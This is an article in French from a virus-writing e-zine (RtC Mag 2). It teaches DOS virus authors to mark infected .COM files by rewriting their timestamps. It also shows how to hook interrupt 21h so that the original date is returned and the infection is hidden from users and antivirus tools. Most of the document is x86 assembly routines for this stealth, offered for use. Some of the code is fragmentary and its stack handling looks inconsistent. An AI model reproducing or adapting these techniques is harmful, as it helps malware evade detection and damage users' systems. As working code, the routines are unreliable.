-------[  RtC Mag, At the end of the universe  ]

--------------[  Date stealth  ]
---------[ in RtC mag 2 ]
----[  by Androgyne <androgyne-rtc@fr.st>  ]


-------[  1) Technique de reconnaissance des fichiers infects


	Une bonne mthode de reconnaissance des fichiers infects consiste  changer sa date. Cette mthode est non seulement simple mais ne ncessite pas toute une artillerie d'instructions assembleur. Pour vrifier si le fichier est infect, on utilise une routine du style de celle qui suit (le fichier aura t ouvert auparavant et l'handle du fichier mis dans bx) :

--- IS_INFECTED ---------------------------------------------------------------

IS_INFECTED:
        mov al,0
        mov ah,57h
        int 21h                        ;rcupration de la date
        cmp dx,????h                   
        ret

--- IS_INFECTED ---------------------------------------------------------------

	????h dsigne la date du fichier selon 512*(Anne-1980)+32*Mois+Jour. Ainsi, 26 Avril 1986 (date de l'explosion de la centrale de Tchernobyl) se code 512*(1986-1980)+32*4+26=3226=0C9Ah, et voil...
	Au cours de l'infection, on rajoute juste ces quelques lignes qui change la date  la date souhaite (ne jamais oublier que plus la date est ancienne, moins vous rencontrerez des fichiers naturellement immuniss) :

--- CHANGE_DATE ---------------------------------------------------------------

CHANGE_DATE:
        mov al,0
        mov ah,57h
        int 21h                        ;rcupration de la date
        mov dx,????h
        mov al,1
        mov ah,57h
        int 21h                        ;et changement de date
	ret

--- CHANGE_DATE ---------------------------------------------------------------



-------[  2) Furtivit pour les virus rsidants


	Maintenant, cette mthode a un petit inconvnient. Les antivirus n'auront plus qu' regarder la date pour voir si un fichier est infect. Il faut donc utiliser des techniques de furtivit. La furtivit consiste  faire croire  l'utilisateur et aux antivirus que le fichier n'a pas t modifi. Classiquement, quand on veut se rendre furtif, on essaie surtout de cacher la taille relle du fichier infect (ce genre de furtivit est trait dans le Billy Becebu Virus Writing Guide). Ce qui nous intresse ici, c'est de masquer la date que nous avons change.
	Nous utilisons le fait d'tre rsidant, comme nous avons dtourn l'interruption 21h, il faut renvoyer la date originale  l'appel de l'interruption 21h fonction 57h. Il faut alors faire deux choses : modifier les deux routines prcdentes pour prendre en compte qu'on est rsidant et ajouter la routine de furtivit au gestionnaire de l'interruption 21h.
	Voici d'abord la routine IS_INFECTED corrige :

--- IS_INFECTED ---------------------------------------------------------------

IS_INFECTED:
        mov al,0
        mov ah,57h
        pushf
        call dword ptr cs:[Old_21]                 ;rcupration de la date
        cmp dx,????h                   
        ret

--- IS_INFECTED ---------------------------------------------------------------

	et la routine CHANGE_DATE corrige :

--- CHANGE_DATE ---------------------------------------------------------------

CHANGE_DATE:
        mov al,0
        mov ah,57h
        mov [Date_Save],dx
        pushf
        call dword ptr cs:[Old_21]                 ;rcupration de la date
        mov dx,????h
        mov al,1
        mov ah,57h
        pushf                                      ;et changement de date
	call dword ptr cs:[Old_21]
	ret

Date_Save dw 0

--- CHANGE_DATE ---------------------------------------------------------------

    Alors se pose un problme crucial... Quand, on ouvre un fichier, on peut a priori savoir s'il est infect ou non. Le problme est alors de rcuprer la date d'origine car on ne sait absolument pas o se trouve le buffer Date_Save dans le fichier. Ce problme est-il insoluble ? Non videmment, car la plupart des virus infecte les .com en se copiant  la fin et en rajoutant un saut au dbut du .com (cf Trivial K-os). On peut alors placer le buffer juste aprs le saut (i.e.  l'offset 103h car un .com s'excute toujours  partir de l'offset 100h et un saut est cod en 3 octets). Et on y accde en plaant le pointeur de fichier sur cet emplacement mmoire, on le lit et bingo ! Je vous laisse alors modifier la routine CHANGE_DATE de faon  placer la date originale l o il faut. Voil alors  quoi ressemble la routine de furtivit dans le gestionnaire d'interruption :

--- NEW_INT_21 ----------------------------------------------------------------

NEW_INT_21:
	cmp ax,5700h
	jz DATE_HOOK
	...

DATE_HOOK:
	push ax
	push cx
	push dx

	pushf
	call dword ptr cs:[Old_21]
	cmp dx,????h
	jnz END_HOOK

	push ax
	push cx
	push dx

	mov al,0
	xor cx,cx
	mov dx,3
	mov ah,42h
	pushf
	call dword ptr cs:[Old_21]

	mov cx,2
	mov dx,offset Original_Date
	mov ah,3Fh
	pushf
	call dword ptr cs:[Old_21]

	pop dx
	pop cx
	pop ax

	pushf
	call dword ptr cs:[Old_21]
	mov word ptr dx,[Original_Date]

	pop dx
	pop cx
	pop ax

	pushf
	call dword ptr cs:[Old_21]

  END_HOOK:
	ret


Original_Date dw 0

--- NEW_INT_21 ----------------------------------------------------------------

	Ainsi, toute tentative de lecture de la date par un programme tranger renverra la date originale, comme si le virus ne l'avait pas infect. Tout cela peut paratre un peu dur mais je peux vous assurer que c'est une protection lmentaire pour rester dans l'ombre le plus longtemps possible.
	Plus simplement, on aurait pu avancer la date d'une centaine d'anne. Ansi tout programme ayant une date au del de 2080 sera un programme infect, il suffit alors d'enlever 100  l'anne et de la renvoyer, ce qui ne ncessite plus tous les jonglages que nous avons mis en place. Mais imaginez le plaisir que vous avez  redater tous les .com  la date de votre anniversaire...


-------[  EOF